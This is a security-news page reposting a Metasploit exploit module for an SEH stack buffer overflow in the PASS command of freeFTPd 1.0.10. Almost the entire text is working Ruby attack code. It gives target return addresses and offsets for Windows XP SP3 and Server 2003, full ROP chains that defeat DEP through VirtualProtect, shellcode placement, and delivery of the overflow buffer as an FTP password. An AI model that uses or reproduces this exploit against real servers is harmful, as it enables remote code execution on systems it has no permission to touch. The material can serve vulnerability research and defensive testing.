freeFTPd 1.0.10 PASS Command SEH Overflow Vulnerability

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

freeFTPd 1.0.10 PASS Command SEH Overflow Vulnerability

来源：metasploit.com 作者：Ramli 发布时间：2013-09-22

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow',

'Description' => %q{

This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.

credit goes to Wireghoul.

},

'Author' =>

[

'Wireghoul - www.justanotherhacker.com', # original poc

'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module

],

'License' => MSF_LICENSE,

'References' =>

[

[ 'OSVDB', '96517' ],

[ 'EDB', '27747' ]

],

'DefaultOptions' =>

{

'EXITFUNC' => 'seh'

},

'Privileged' => false,

'Payload' =>

{

'Space' => 512,

'BadChars' => "\x00\x20\x0a\x0d",

},

'Platform' => 'win',

'Targets' =>

[

# Windows XP (Build 2600, Service Pack 3) x86 - DEP Bypass

[ 'Windows XP Pro SP3 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 952 } ], # ADD ESP, 46C

# Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass

[ 'Windows 2003 Server SP2 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 797 } ], #ADD ESP 46C

# Wireghoul offset does not match mine, so using his offset as a credit to him

#[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x00414226 , 'Offset' => 952 } ],

[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],

],

'DisclosureDate' => 'Aug 21 2013',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner =~ /freeFTPd 1.0/)

return Exploit::CheckCode::Vulnerable

end

Exploit::CheckCode::Safe

end

def exploit

connect

buf = rand_text_english(1000)

case target_index()

when 0

print_status("Target ID: #{target.name}")

# rop skeleton using mona.py

rop =

[

0x77c23960, # POP EBP # RETN [msvcrt.dll]

0x77c23960, # skip 4 bytes [msvcrt.dll]

#----------avoid null byte----------------

0x77c53436, # POP EBX # RETN [msvcrt.dll]

0x042444DE, # EBX = 0x042444DE

0x77c4d04e, # POP EDX # RETN [msvcrt.dll]

0xFBDBBB62, # EDX = 0xFBDBBB62

0x77c2c7ae, # ADD EDX,EBX # POP EBX # RETN 0x10

# 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040

0xFBDBBD23, # EBX = 0xFBDBBD23

0x77c46101, # RETN (ROP NOP) [msvcrt.dll]

0x77c4e392, # POP EAX # RETN

0x042444DE, # EAX = 0x042444DE

0x77c50c77, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN

# 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201

#-----------------------------------------

0x77c3b1ad, # POP ECX # RETN [msvcrt.dll]

0x77c62f18, # &Writable location [msvcrt.dll]

0x77c46116, # POP EDI # RETN [msvcrt.dll]

0x77c46101, # RETN (ROP NOP) [msvcrt.dll]

0x77c2eb03, # POP ESI # RETN [msvcrt.dll]

0x77c2aacc, # JMP [EAX] [msvcrt.dll]

0x77c21d16, # POP EAX # RETN [msvcrt.dll]

0x77c11120, # ptr to &VirtualProtect() [IAT msvcrt.dll]

0x77c12df9, # PUSHAD # RETN [msvcrt.dll]

0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]

].flatten.pack("V*")

rop << make_nops(32)

rop << payload.encoded

buf[12,rop.length] = rop

when 1

print_status("Target ID: #{target.name}")

# rop skeleton using mona.py

rop =

[

0x77bb2563, # POP EAX # RETN [msvcrt.dll]

0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]

0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]

0x41414141, # Filler (compensate)

0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]

0x77bac27e, # POP EBP # RETN [msvcrt.dll]

0x77be2265, # & push esp # ret [msvcrt.dll]

#----------avoid null byte------------------

0x77be1ef3, # POP EDX # RETN [msvcrt.dll]

0xFBDBBB63, # 0x00000040-> edx

0x77bcb691, # POP EBX # RETN [msvcrt.dll]

0x042444DD, # EBX = 0x042444DD

0x77bbd50e, # ADD EDX,EBX # POP EBX # RETN 0x10

# 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040

0xFBDBBD23, # EBX** = 0xFBDBBD23

0x77BDFE3E, # RETN (ROP NOP)

0x77BC541C, # XOR EAX,EAX # INC EAX # RETN

0x77be2219, # ADD EAX,42444DD # RETN

0x77BDFE37, # ADD EBX,EAX # OR EAX, 3000000 # RETN

# 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201

#-------------------------------------------

0x77bcadff, # POP ECX # RETN [msvcrt.dll]

0x77bf2cfc, # &Writable location [msvcrt.dll]

0x77bd88b8, # POP EDI # RETN [msvcrt.dll]

0x77bd8c05, # RETN (ROP NOP) [msvcrt.dll]

0x77be3adb, # POP EAX # RETN [msvcrt.dll]

0x90909090, # nop

0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]

].flatten.pack("V*")

rop << make_nops(32)

rop << payload.encoded

buf[49+40,rop.length] = rop

when 2

print_status("Target ID: #{target.name}")

buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded

buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"

buf[target['Offset'],4] = [0xfffff9eb].pack("V")

end

buf[target['Offset']+4,4] = [target.ret].pack('V')

print_status("Sending exploit buffer...")

send_user(datastore['FTPUSER'])

send_pass(buf)

handler

disconnect

end

[